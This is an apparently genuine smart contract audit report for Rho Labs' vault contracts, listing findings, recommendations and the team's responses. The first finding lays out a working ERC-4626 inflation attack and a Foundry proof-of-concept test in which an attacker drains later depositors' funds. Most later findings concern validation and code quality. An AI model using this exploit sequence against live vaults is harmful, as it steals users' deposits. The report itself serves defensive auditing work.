Vault Contracts v2 - Rho Labs

The AllocatorVault contract inherits from RhoERC4626, which implements the ERC-4626 vault standard. The design includes a decimalsOffset parameter, intended to mitigate inflation attacks by increasing the initial share price and reducing the impact of small initial deposits.

However, when decimalsOffset is set to its default value of 0, the vault is vulnerable to a classic inflation attack. An attacker can exploit this by:

1. Depositing a minimal amount (e.g., 1 wei) to mint the first share.

2. Directly transferring a large amount of underlying tokens to the vault’s ERC20Storage contract, bypassing the normal deposit logic.

3. Waiting for legitimate users to deposit, who—due to the manipulated share price and rounding—receive zero shares for their deposits.

4. Withdrawing their single share, allowing the attacker to drain almost all of the vault’s assets, while legitimate users are left with no shares and no ability to withdraw.

This sequence allows the attacker to extract nearly all value from the vault at the expense of subsequent depositors.

In the following scenario, the inflation attack is visualized:

function test_inflationAttack_multipleDeposits_decimalOffset_allocatorVault() public {
  address attacker = makeAddr("attacker");
  address alice = makeAddr("alice");
  address bob = makeAddr("bob");
  address user = makeAddr("user");

  // Give attacker and users tokens
  deal(address(mockToken), attacker, 2e18);
  deal(address(mockToken), alice, 1e18);
  deal(address(mockToken), bob, 1e18);
  deal(address(mockToken), user, 1e18);

  console.log("Initial balances:");
  console.log("Attacker:", mockToken.balanceOf(attacker));
  console.log("Alice:", mockToken.balanceOf(alice));
  console.log("Bob:", mockToken.balanceOf(bob));
  console.log("User:", mockToken.balanceOf(user));

  // Attacker approves router
  vm.prank(attacker);
  mockToken.approve(address(router), 1);

  // Attacker deposits 1 wei
  OracleExternalNAVPackages memory navPackages;
  vm.prank(attacker);
  router.deposit(vaultId, 1, attacker, 0, navPackages, block.timestamp + 100);

  console.log("After attacker deposit:");
  console.log("Attacker vault shares:", vault.balanceOf(attacker));
  console.log("ERC20Storage balance:", mockToken.balanceOf(address(erc20Storage)));

  // Attacker sends 2e18 - 1 wei directly to ERC20Storage (simulate direct transfer)
  vm.prank(attacker);
  mockToken.transfer(address(erc20Storage), 2e18 - 1);

  console.log("After attacker direct transfer to ERC20Storage:");
  console.log("ERC20Storage balance:", mockToken.balanceOf(address(erc20Storage)));

  // Users approve router
  vm.prank(alice);
  mockToken.approve(address(router), 1e18);
  vm.prank(bob);
  mockToken.approve(address(router), 1e18);
  vm.prank(user);
  mockToken.approve(address(router), 1e18);

  // Users deposit 1e18 each (should get 0 shares due to rounding)
  vm.prank(alice);
  router.deposit(vaultId, 1e18, alice, 0, navPackages, block.timestamp + 100);
  console.log("Alice shares after deposit:", vault.balanceOf(alice));

  vm.prank(bob);
  router.deposit(vaultId, 1e18, bob, 0, navPackages, block.timestamp + 100);
  console.log("Bob shares after deposit:", vault.balanceOf(bob));

  vm.prank(user);
  router.deposit(vaultId, 1e18, user, 0, navPackages, block.timestamp + 100);
  console.log("User shares after deposit:", vault.balanceOf(user));

  // After all, attacker redeems their 1 share
  uint attackerShares = vault.balanceOf(attacker);
  console.log("Attacker shares before withdrawal:", attackerShares);

  // Attacker withdraws
  vm.prank(attacker);
  vault.approve(address(router), attackerShares);
  vm.prank(attacker);
  router.withdraw(vaultId, 0, attacker, attacker, false, attackerShares, true, navPackages, block.timestamp + 100);

  // After attacker calls withdraw
  vm.prank(owner); // or whoever is allowed to process withdrawals
  router.fulfillWithdrawalRequests(vaultId, 1, OracleExternalNAVPackages({packages: new ExternalNAVPackage[](0)}));

  // Now check the attacker's balance
  uint attackerFinal = mockToken.balanceOf(attacker);
  uint aliceFinal = mockToken.balanceOf(alice);
  uint bobFinal = mockToken.balanceOf(bob);
  uint userFinal = mockToken.balanceOf(user);

  console.log("Attacker balance after withdrawal:", attackerFinal);
  console.log("Alice balance after attack:", aliceFinal);
  console.log("Bob balance after attack:", bobFinal);
  console.log("User balance after attack:", userFinal);

  // Show net gain/loss for each participant
  console.log("Attacker net gain:", int(attackerFinal) - int(2e18));
  console.log("Alice net gain:", int(aliceFinal) - int(1e18));
  console.log("Bob net gain:", int(bobFinal) - int(1e18));
  console.log("User net gain:", int(userFinal) - int(1e18));
}

Fund the vault with a meaningful initial deposit immediately after deployment and before allowing public deposits, ensuring a fair initial share/asset ratio.

Alternatively, increase the decimalsOffset parameter (e.g., to 18) to dilute the impact of small initial deposits and make the attack impractical.

RISK ACCEPTED: The Rho Labs team made a business decision to accept the risk of this finding and not alter the contracts, stating that:

We acknowledge the inflation attack vector described in the audit when decimalsOffset is set to 0. However, we have decided not to modify the decimalsOffset value for the following reasons: 1. Vaults will be pre-funded before public launch We will ensure that each vault is initialized with a meaningful initial deposit before public access is enabled. This initialization will set a fair initial share-to-asset ratio and fully mitigate the inflation vector caused by a zero decimalsOffset. 2. Vaults are not yet publicly accessible The described attack is only relevant in a public, permissionless environment where anyone can deposit first. Currently, all vaults are in a controlled, non-public phase where only internal or whitelisted accounts can interact with them. As such, the scenario required to exploit this issue cannot occur. 3. Avoiding unnecessary complexity Introducing a non-zero decimalsOffset introduces additional complexity and edge-case behavior in share price calculation and testing. Since the risk is fully mitigated operationally during deployment and initialization, we prefer to keep the system simpler and more predictable by leaving decimalsOffset at zero. In summary, this issue is acknowledged, but given the current architecture and deployment plan, it is not exploitable. We will revisit this parameter if future changes to the vault access model make it necessary.

The RouterLogic.deposit() function in the RouterLogic contract sums the ERC20 amount parameter and msg.value (native token) when depositing into a vault with underlyingIsWrappedNativeToken == true. This assumes that the wrapped native token always has the same decimals and 1:1 value as the native token, as it is expected to be.

function deposit(
  VaultId vaultId,
  IVaultBase vault,
  address caller,
  address receiver,
  uint amount,
  uint minSharesOut,
  OracleExternalNAVPackages calldata navPackages
) external returns (uint mintedShares) {
  IERC20Storage erc20Storage = vault.getErc20Storage();

  if (msg.value > 0 && !erc20Storage.isWrappedNativeToken()) {
    revert IRouterErrors.UnderlyingIsNotWrappedNativeToken();
  }

  IERC20 token = IERC20(vault.asset());

  // Transfer ERC-20 tokens from the sender to the router
  if (amount > 0) {
    token.safeTransferFrom(caller, address(this), amount);
  }

  // Wrap the sent native tokens into its corresponding ERC-20 representation and increase ERC-20 balance of router
  if (msg.value > 0) {
    IWrappedNativeToken(address(token)).deposit{ value: msg.value }();
    amount = amount + msg.value;
  }

  // Approve the transfer from the router to the vault erc20 storage
  token.safeIncreaseAllowance(address(erc20Storage), amount);

  // Transfer tokens from the router to the vault erc20 storage
  mintedShares = vault.deposit(amount, receiver, minSharesOut, navPackages);

  // Check and revert if there's remaining allowance
  uint allowance = token.allowance(address(this), address(erc20Storage));
  if (allowance != 0) revert IVaultBaseErrors.ResultingAllowanceMustBeZero(allowance);

  emit IRouter.Deposit(msg.sender, vaultId, receiver, amount, mintedShares);
}

However, if a vault is misconfigured or a non-standard wrapped token is used (e.g., with different decimals or a non-1:1 wrapping ratio), this could result in incorrect accounting and a value mismatch. For example, if a token with 6 decimals is registered as a wrapped native token, the router will add msg.value (18 decimals) to amount (6 decimals), leading to an incorrect deposit value.

Enforce at vault or ERC20Storage initialization that any asset marked as a wrapped native token has the same number of decimals as the native token for the deployment chain (e.g., 18 decimals for ETH on Ethereum).

Alternatively, add a runtime check in RouterLogic.deposit() to validate this property before accepting deposits.

SOLVED: The Rho Labs team solved this finding in the specified commit by following the mentioned recommendation.

The add() and updateAddressById() functions in the IterableIdAddressSet library are intended to maintain a unique mapping between non-zero IDs and valid, non-zero addresses for efficient lookup and enumeration. However, both functions currently lack validation for zero values, allowing to add or update entries with either the zero address (address(0)) or a zero-value ID (bytes32(0)). Both are commonly used as sentinel values and not valid identifiers or addresses.

This can result in ambiguous or unintended entries within the set, as downstream logic may incorrectly interpret the zero address or zero-value ID as valid. Such scenarios can lead to unexpected behavior, reduce reliability, and potentially introduce subtle bugs or security risks in components that rely on these mappings for access control, whitelisting, or other critical operations

Add validation checks in both the add() and updateAddressById() functions to revert if either the address or the ID is zero, ensuring only valid, non-zero values are stored in the set.

SOLVED: The Rho Labs team solved this finding in the specified commit by following the mentioned recommendation.

The VaultBaseLogic.addSubVault() function in VaultBaseLogic only checks that the underlying asset address of a subVault matches the parent vault, but does not check that the decimals match.

In this protocol, all share/asset conversions (e.g., in RhoERC4626, VaultBase, and AllocatorVault) rely on the decimals() value. If a parent vault and a subVault have different decimals, the parent will misinterpret the subVault’s totalAssets() and maxWithdraw() values, leading to over- or under-counting of assets. This can result in incorrect share issuance/redemption, inaccurate NAV calculations, and potential loss or inflation of user funds.

Add a check in VaultBaseLogic.addSubVault() to ensure that the decimals of the subVault match the parent vault.

SOLVED: The Rho Labs team solved this finding in commits 9d1caf5 and 15d7ec1 by following the mentioned recommendation.

Throughout the codebase, several state variables are assigned without proper input validation. This includes missing checks for zero addresses, unbounded integers, and other unsafe values. Failing to validate inputs before assignment can lead to unexpected behavior, denial of service, or security issues.

Instances of this issue include:

• In RhoERC4626.erc4626Init(), the fallback to 18 decimals is not validated, which could cause issues if the underlying asset uses a different number of decimals.

• In RhoERC20.erc20Init(), _erc20Storage is not validated against the zero address before assignment.

• In OffchainStrategiesVault.initialize(), _oraclePackageMaxAge is assigned without checking for a reasonable threshold.

• In OffchainStrategiesVault.setOraclePackageMaxAge(), newMaxAge is not validated for minimum or maximum bounds.

• In VaultStorage.constructor(), maxDeposit is assigned without input validation.

• In ERC20Storage.constructor(), _vaultId is assigned without input validation.

Add proper input validation to ensure that addresses are not zero and that integer values fall within expected ranges. For example, require that storage addresses are not the zero address and that numeric parameters like maxDeposit and oraclePackageMaxAge are within reasonable bounds. This will help prevent unexpected behavior and improve the overall robustness of the contracts.

ACKNOWLEDGED: The Rho Labs team made a business decision to acknowledge this finding and not alter the contracts, stating:

We acknowledge the potential risks associated with insufficient input validation and will address this by conducting manual reviews within our team whenever relevant changes are introduced. We approach our updates with a high level of responsibility and will ensure that all assignments of critical state variables are thoroughly reviewed to prevent unsafe values and maintain contract robustness.

The AccessControlManager contract inconsistently derives role IDs for vault-related roles. While most functions use the standardized deriveVaultRelatedRoleId() helper, several functions manually encode the role ID using keccak256(abi.encode(vaultId, VaultRelatedRoles.<ROLE>)).

This inconsistency increases the risk of future bugs if the encoding logic ever changes, and reduces maintainability by duplicating logic. Any developer updating the encoding logic in deriveVaultRelatedRoleId() would need to manually update all direct encodings, risking missed updates and subtle bugs.

Instances of this issue are included in:

• grantOffchainStrategiesAllowedRecipient()

• revokeOffchainStrategiesAllowedRecipient()

• grantOffchainStrategiesAssetManager()

• revokeOffchainStrategiesAssetManager()

• grantOffchainStrategiesAdmin()

• revokeOffchainStrategiesAdmin()

• grantNavPackagesSigner()

• revokeNavPackagesSigner()

• isOffchainStrategiesAdmin()

• isNavPackagesSigner()

• isOffchainStrategiesAssetManager()

• isOffchainStrategiesAllowedRecipient()

Refactor all functions that manually encode vault-related role IDs to use the deriveVaultRelatedRoleId() helper for consistency and maintainability.

SOLVED: The Rho Labs team solved this finding in the specified commit by following the mentioned recommendation.

The getRoleAddresses() function in the AccessControlManager contract is designed to enumerate addresses assigned to a specific role, supporting pagination via offset and limit. However, if the offset argument is greater than or equal to the number of addresses in the role, the function will attempt to access an out-of-bounds index in the underlying EnumerableSet, causing the transaction to revert.

This can be triggered by any externally owned account (EOA) calling the function with a large offset value.

Add a check to ensure that the offset is less than the number of addresses in the role. If the offset is out of bounds, return an empty array instead of attempting to access invalid indices.

SOLVED: The Rho Labs team solved this finding in the specified commit by following the mentioned recommendation.

The RhoERC4626 contract defines both a public previewDeposit(uint assets, OracleExternalNAVPackages calldata navPackages) and an internal _previewDeposit(uint assets, uint totalAssetsAmount) function. Both functions perform the same conversion of assets to shares using the same rounding and calculation logic.

function previewDeposit(
  uint assets,
  OracleExternalNAVPackages calldata navPackages
) external view virtual override returns (uint) {
  uint totalAssetsAmount = totalAssets(navPackages);
  return _convertToShares(assets, Math.Rounding.Floor, totalAssetsAmount);
}

function _previewDeposit(uint assets, uint totalAssetsAmount) internal view virtual returns (uint) {
  return _convertToShares(assets, Math.Rounding.Floor, totalAssetsAmount);
}

The only difference is that previewDeposit fetches totalAssetsAmount from navPackages, while _previewDeposit expects it as an argument. This duplication increases maintenance overhead and the risk of inconsistencies if the conversion logic changes in the future.

Refactor the code to centralize the conversion logic. For example, have previewDeposit call _previewDeposit after fetching totalAssetsAmount, or expose a single reusable function for both internal and external use. This will reduce code duplication and the risk of future inconsistencies.

SOLVED: The Rho Labs team solved this finding in the specified commit by following the mentioned recommendation.

In the Router contract, there is commented out code that is not used. This code may introduce unnecessary confusion to the contract.

While commenting out code can be useful for debugging or testing purposes, it can also lead to confusion and make the codebase harder to maintain.

Remove the aforementioned commented-out lines of code to clean up the contract and improve readability. Alternatively, if the functionality is needed, uncomment and update the code as necessary.

SOLVED: The Rho Labs team solved this finding in the specified commit by following the mentioned recommendation.

Throughout the code in scope, it has been noted that there is inconsistent use of uint and uint256 variable declarations, where most variables are declared as uint256 and other as uint. While this does not affect the functionality of the code, it is recommended to use explicit size declaration for integers to ensure consistency and readability.

Use explicit size declaration for integers. For example, use uint256 instead of uint.

SOLVED: The Rho Labs team solved this finding in the specified commit by following the mentioned recommendation.

The contracts in scope currently use floating pragma version ^0.8.28 which means that the code can be compiled by any compiler version that is greater than 0.8.0 , and less than 0.9.0.

However, it is recommended that contracts should be deployed with the same compiler version and flags used during development and testing. Locking the pragma helps to ensure that contracts do not accidentally get deployed using another pragma. For example, an outdated pragma version might introduce bugs that affect the contract system negatively.

Additionally, from Solidity versions 0.8.20 through 0.8.24, the default target EVM version is set to Shanghai, which results in the generation of bytecode that includes PUSH0 opcodes. Starting with version 0.8.25, the default EVM version shifts to Cancun, introducing new opcodes for transient storage, TSTORE and TLOAD.

In this aspect, it is crucial to select the appropriate EVM version when it's intended to deploy the contracts on networks other than the Ethereum mainnet, which may not support these opcodes. Failure to do so could lead to unsuccessful contract deployments or transaction execution issues.

Lock the pragma version to the same version used during development and testing (for example: pragma solidity 0.8.28;), and make sure to specify the target EVM version when using Solidity versions from 0.8.20 and above if deploying to chains that may not support newly introduced opcodes.

Additionally, it is crucial to stay informed about the opcode support of different chains to ensure smooth deployment and compatibility.

SOLVED: The Rho Labs team solved this finding in the specified commit by following the mentioned recommendation.

Several functions of the contracts in scope have multiple modifiers, with one of them being nonReentrant which prevents reentrancy behavior on the functions. Ideally, the nonReentrant modifier should be the first one to prevent even the execution of other modifiers in case of reentrancy behavior.

In Solidity, if a function has multiple modifiers, they are executed in the order specified. If checks or logic of modifiers depend on other modifiers, this has to be considered in their ordering.

While there is currently no obvious vulnerability with nonReentrant not being the first modifier, placing it first ensures that all other modifiers are executed only if the call is non-reentrant. This is a safer practice and can prevent potential issues in future updates or unforeseen scenarios.

Switch modifier order to consistently place the nonReentrant modifier as the first one to run so that all other modifiers are executed only if the call is non-reentrant.

SOLVED: The Rho Labs team solved this finding in the specified commit by following the mentioned recommendation.

Throughout the codebase, the following functions are declared but not being executed throughout the code:

• AccessControlManager.isOffchainStrategiesAllowedRecipient()

• VaultBaseLogic.uniqueMerge()

Dead code increases the contract’s size and complexity, making audits and maintenance more difficult. It may also confuse future developers about the intended functionality.

Remove unused functions to reduce contract size and improve code clarity. If these functions are intended for future use, document their purpose and planned integration.

SOLVED: The Rho Labs team solved this finding in the specified commit by following the mentioned recommendation.

Throughout the files in scope, there are several instances where revert strings are used over custom errors.

In Solidity development, replacing hard-coded revert message strings with the Error() syntax is an optimization strategy that can significantly reduce gas costs. Hard-coded strings, stored on the blockchain, increase the size and cost of deploying and executing contracts.

The Error() syntax allows for the definition of reusable, parameterized custom errors, leading to a more efficient use of storage and reduced gas consumption. This approach not only optimizes gas usage during deployment and interaction with the contract but also enhances code maintainability and readability by providing clearer, context-specific error information.

Consider replacing all revert strings with custom errors.

PARTIALLY SOLVED: The Rho Labs team solved this finding in the specified commit by following the mentioned recommendation.

The VaultBaseLogic.calcTotalSubVaultsAssets() and related functions (such as _calcTotalSubVaultsAssets in AllocatorVault) cast unsigned integer values (uint256) to signed integers (int256) and back, even though asset amounts are always non-negative. For example, in VaultBaseLogic.calcTotalSubVaultsAssets():

totalAssets += vault.totalAssets(navPackages).toInt256();

and later, the result is cast back to uint:

return uint256(total);

This unnecessary casting increases code complexity, can confuse future maintainers, and introduces a (low) risk of subtle bugs if negative values are ever accidentally introduced. Since asset values should always be non-negative, using uint256 throughout would be clearer and safer.

Refactor these functions to use uint256 types exclusively for asset calculations, removing unnecessary casts to and from int256. This will simplify the code and reduce the risk of type-related errors.

SOLVED: The Rho Labs team solved this finding in the specified commit by following the mentioned recommendation.

The setWhitelistedRecipient() function of the OffchainStrategiesVault contract changes contract state by modifying a core state variable without it being reflected in event emissions.

The absence of events may hamper effective state tracking in off-chain monitoring systems.

Emit events for all state changes that occur as a result of administrative functions to facilitate off-chain monitoring of the system.

SOLVED: The Rho Labs team solved this finding in the specified commit by removing the setWhitelistedRecipient() function and refactor its logic.

Throughout the code, there are several instances of unused components that could be removed to reduce gas costs and improve code clarity.

This includes:

• UNUSED ERRORS:

  Found in IAccessControlManagerErrors :

  error MustBeAdmin(address sender);
  error MustBeStrategiesVaultManager(address sender);

  Found in IInterfaceValidationErrors :

  error AddressNotSupportIRhoMarketsVaultInterface(address contractAddress);

  Found in IVaultBaseErrors :

  error MarketHasDifferentUnderlying(address vaultUnderlying, address marketUnderlying);
  error UnavailableMarketId(bytes32 marketId);
  error OraclePackagesNotFound(bytes32 targetMarketId);

  Found in IRhoERC4626Errors :

  error ExceededMaxMint(address receiver, uint shares, uint max);
  error ExceededMaxRedeem(address owner, uint shares, uint max);
  error MaxSharesError(uint current, uint limit);

  Found in IOffchainStrategiesVaultErrors :

  error InvalidOraclePackage(VaultId vaultId, uint64 packageTimestamp);
  error AddressNotWhitelistedRecipient(address targetAddress);
  error InsufficientBalance(uint256 required, uint256 available);
  error InvalidOracleSigner(address recoveredSigner, address expectedSigner);
  error MustBeAssetManager(address caller, bytes32 requiredRole);

  
  

• UNUSED IMPORTS:

  Found in OffchainStrategiesVault

  import { Math } from '@openzeppelin/contracts/utils/math/Math.sol';

Consider removing unused imports and errors to declutter the codebase, improve readability, and potentially reduce deployment and runtime gas costs. Alternatively, implement the intended functionality if these components are planned for future use.

SOLVED: The Rho Labs team solved this finding in the specified commit by following the mentioned recommendation.